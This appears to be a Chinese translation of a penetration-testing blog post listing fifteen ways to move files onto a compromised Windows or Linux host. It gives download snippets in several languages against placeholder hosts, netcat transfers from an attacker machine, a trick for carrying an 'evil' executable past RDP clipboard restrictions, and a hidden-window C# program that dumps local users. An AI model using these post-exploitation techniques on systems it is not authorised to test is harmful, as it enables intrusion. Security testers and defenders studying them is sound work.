15種下載檔案的方法
轉載:https://blog.netspi.com/15-ways-to-download-a-file/
瑞恩甘德魯德
原創時間:2014年6月16日
Pentesters經常將檔案上傳到受感染的盒子以幫助進行許可權提升,或者保持在計算機上的存在。本部落格將介紹將檔案從您的計算機移動到受感染系統的15種不同方法。對於那些在盒子上存在且需要開發後選項的滲透測試人員以及只想移動檔案的系統管理員來說,這應該是有趣的。
在測試期間還有許多其他方法可以將檔案移動到機器上,但是這個列表包括了我的一些最愛。以下是本部落格中介紹的檔案傳輸技術的摘要。
1. PowerShell檔案下載
2. Visual Basic檔案下載
3. Perl檔案下載
4. Python檔案下載
5. Ruby檔案下載
6. PHP檔案下載或上傳
7. FTP檔案下載
8. TFTP檔案下載
9. Bitsadmin檔案下載
10. Wget檔案下載
11. Netcat檔案下載
12. Windows共享檔案下載
13. 記事本對話方塊檔案下載
14. 使用PowerShell和Nishang執行文字,文字到EXE
15. Csc.exe從原始檔編譯
注意:通過SQL隱碼攻擊執行命令時,列出的許多技術也應被視為選項。對於多行步驟,將命令ECHO到檔案,然後執行該檔案。
1. PowerShell檔案下載
PowerShell是管理員可以忽略的一種指令碼語言。但是,它可以為知道如何使用它的人提供過多的選項和功能。最大的好處是它從Windows Server 2003開始就是Windows的原生。下面是一個簡單指令碼的示例,可用於從Internet上的Web伺服器將檔案下載到本地檔案系統:
$p = New-Object System.Net.WebClient $p.DownloadFile("http://domain/file" "C:%homepath%file")
要執行此指令碼,請在PowerShell視窗中執行以下命令:
PS C:> .test.ps1
有時,PowerShell執行策略設定為受限制。在這種情況下,您將無法通過PowerShell執行命令或指令碼…除非您使用以下命令將其設定為不受限制:
C:>powershell set-executionpolicy unrestricted
2. Visual Basic檔案下載
自1998年以來,Visual Basic的最終版本已經成為Windows機器的標準配置。以下指令碼可以下載您選擇的檔案。但是,該指令碼比PowerShell指令碼大得多。
Set args = Wscript.Arguments Url = "http://domain/file" dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", Url, False xHttp.Send with bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile " C:%homepath%file", 2 ' end with
Cscript是一個命令列Windows指令碼宿主,允許您傳遞命令列選項並允許您設定指令碼屬性。沒有必要使用它來在Windows 7和其他可能的程式中執行vbs指令碼,但使用它可以讓指令碼在Windows XP及更高版本的計算機上執行。
要執行此指令碼,請在命令shell中執行以下命令:
C:>cscript test.vbs
以下四種語言對於Windows機器來說是非本機語言。但是,如果您發現其上安裝了任何這些語言的計算機(無論作業系統如何),您都可以利用這些指令碼下載檔案。
3. Perl檔案下載
Perl是一種非常通用的指令碼語言,幾乎可以用於任何事情。使用Perl可以非常輕鬆地將檔案下載到本地主機上。
#!/usr/bin/perl use LWP::Simple; getstore("http://domain/file", "file");
要執行此指令碼,請在命令shell中執行以下命令:
root@kali:~# perl test.pl
4. Python檔案下載
Python是一種通用指令碼語言,強調程式碼可讀性。與大多數指令碼語言一樣,目標是編寫比程式語言所需的程式碼少的程式碼,同時仍然完成預期的任務。
#!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close()
要執行此指令碼,請在命令shell中執行以下命令:
root@kali:~# python test.py
5. Ruby檔案下載
Ruby是一種物件導向的程式語言,可以用於建立框架(想想Metasploit)到簡單的任務(如下載檔案)。
#!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.domain.com") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } }
要執行此指令碼,請在命令shell中執行以下命令:
root@kali:~# ruby test.rb
6. PHP檔案下載
PHP通常是用於Web開發的伺服器端指令碼語言,但也可以用作通用指令碼語言。
#!/usr/bin/php <?php $data = @file("http://example.com/file"); $lf = "local_file"; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh); ?>
要執行此指令碼,請在命令shell中執行以下命令:
root@kali:~# php test.php
除非另有說明,否則將檔案移動到目標計算機上的其餘方法是通過本機作業系統功能。其中一些需要比其他步驟更多的步驟,但可以在不同的場景中使用以繞過某些限制。
7. FTP檔案下載
對於此方法,攻擊者希望將FTP命令回顯到bash指令碼,因為它通常需要使用者互動才能輸入使用者名稱和密碼。然後可以執行此bash指令碼以在不需要互動的情況下執行所有步驟。
ftp 127.0.0.1 username password get file exit
8. TFTP檔案下載
預設情況下,Windows Vista及更低版本中提供了一些簡單的FTP。請注意,您必須設定要連線的相應伺服器。它可以使用以下命令執行:
tftp -i host GET C:%homepath%file location_of_file_on_tftp_server
9. Bitsadmin檔案下載
Bitsadmin是一個Windows命令列工具,允許使用者建立下載或上傳任務。
bitsadmin /transfer n http://domain/file c:%homepath%file
10. Wget檔案下載
Wget是一個Linux和Windows工具,允許非互動式下載。
wget http://example.com/file
11. Netcat檔案下載
Netcat可以通過連線到特定的偵聽埠來允許下載檔案,該埠將通過連線傳遞檔案的內容。請注意,此示例是特定於Linux的。
在攻擊者計算機上,鍵入:
cat file | nc -l 1234
這將把檔案的內容列印到本地埠1234.然後,只要有人連線到該埠,檔案的內容就會被髮送到連線IP。
應在攻擊者所針對的計算機上執行以下命令:
nc host_ip 1234 > file
這會將目標連線到攻擊者的計算機並接收將通過連線傳送的檔案。
12. Windows共享檔案下載
Windows共享可以安裝到驅動器號,然後可以通過後續複製命令複製檔案。
要安裝遠端驅動器,請鍵入:
net use x: \127.0.0.1share /user:example.comuserID myPassword
13. 記事本對話方塊檔案下載
如果您對計算機具有訪問許可權(RDP,物理等),但您的使用者許可權不允許您開啟Web瀏覽器,則可以使用此技巧從URL或通用命名約定快速下載檔案(UNC)路徑。當您突破在終端上執行的鎖定應用程式時,這也很有效。
開啟記事本
轉到檔案 - 開啟
在底部附近的“檔名”框中,鍵入檔案的完整URL路徑
記事本非常友好,可以為您提供此檔案的內容
14. 使用PowerShell和Nishang將Exe轉換為Txt,將Txt轉換為Exe
這可能是我在嘗試將exe移動到機器時使用的最喜歡的工具之一。Nishang允許您將exe轉換為十六進位制,然後使用PowerShell將十六進位制重組為原始exe。我看到組策略不允許通過RDP剪貼簿傳輸exes。雖然它提供了基本的保護,但它(有時)仍然允許通過剪貼簿複製文字的能力。在這種情況下,您可以將Nishang PowerShell源複製到該框中的檔案,並將副檔名重新命名為.ps1。要複製的Nishang指令碼是TexttoExe.ps1,它只有8行。你可以在這裡下載Nishang。
要將exe轉換為hex檔案,請鍵入:
PS > .ExetoText.ps1 evil.exe evil.txt
開啟evil.txt檔案並複製內容。然後使用RDP剪貼簿將內容貼上到目標計算機。對Nishang中TexttoExe.ps1檔案的內容執行相同操作。
要將hex檔案轉換回exe,請鍵入:
PS > .TexttoExe.ps1 evil.text evil.exe
這將導致您的邪惡exe被成功移動到目標機器。
15. Csc.exe從檔案編譯原始碼
C sharp compiler(csc)是Windows中Microsoft .NET安裝中包含的命令列編譯器。如果您無法複製可執行檔案,但仍可以複製文字,這可能很有用。使用此方法,結合SQL隱碼攻擊,可以將exe移動到框中,而不必嘗試繞過可能阻止出站連線的出口過濾器或經過身份驗證的代理。
此可執行檔案的預設位置如下:
C:WindowsMicrosoft.NETFrameworkversion
使用以下示例程式碼,已編譯的可執行檔案將使用cmd.exe查詢框中的本地使用者,並將結果寫入C:Temp目錄中的檔案。這顯然可以修改為與盒子上的不同exe進行互動,或者完全重寫以使用您自己的漏洞利用程式碼。
public class Evil { public static void Main() { System.Diagnostics.Process process = new System.Diagnostics.Process(); System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; startInfo.FileName = "cmd.exe"; startInfo.Arguments = "/C net users > C:\Temp\users.txt"; process.StartInfo = startInfo; process.Start(); } }
要編譯原始碼,請鍵入:
csc.exe /out:C:evilevil.exe C:evilevil.cs
出自:https://blog.netspi.com/15-ways-to-download-a-file/
引申:https://superuser.com/questions/59465/is-it-possible-to-download-using-the-windows-command-line
相關文章
- 下載檔案的15種方法
- 下載GitHub上檔案的兩種方法Github
- ServletOutputStream在nginx轉發下輸出檔案下載的一種方法ServletNginx
- JavaScript~檔案下載的幾種方式JavaScript
- windows下ftp定時執行批次下載檔案,windows下ftp定時執行批次下載檔案的一種方法WindowsFTP
- 前端接受後端檔案流並下載的幾種方法前端後端
- 簡談檔案下載的三種方式
- 【liunx命令】上傳下載檔案的方法
- 收集整理的16種檔案下載的方式
- java實現檔案的下載的方法概述Java
- iis支援.apk檔案下載的設定方法APK
- 檔案下載
- Linux系統下建立檔案最常見的8種方法!Linux
- 00、下載檔案
- Ajax 下載檔案
- js 檔案下載JS
- HttpClient 下載檔案HTTPclient
- JAVA檔案下載Java
- Response下載檔案
- FastApi下載檔案ASTAPI
- 檔案程式設計、檔案下載程式設計
- python儲存檔案的幾種方法Python
- 流量中提取檔案的若干種方法
- 監聽檔案修改的四種方法
- 計算檔案Checksum的幾種方法
- 大檔案傳輸的9種方法
- 檔案的上傳與下載
- ADNI的fMRI檔案下載教程
- SpringMVC檔案上傳下載(單檔案、多檔案)SpringMVC
- python之檔案下載Python
- 檔案上傳下載
- Flutter 下載檔案操作Flutter
- python 下載檔案demoPython
- a標籤與Blob下載檔案的區別和獲取檔案下載進度
- 學習筆記15:第二種載入資料的方法筆記
- 純JS生成並下載各種文字檔案或圖片JS
- 解決angular4 無法在ie下載檔案的方法Angular
- 5種快速查詢容器檔案系統中檔案的方法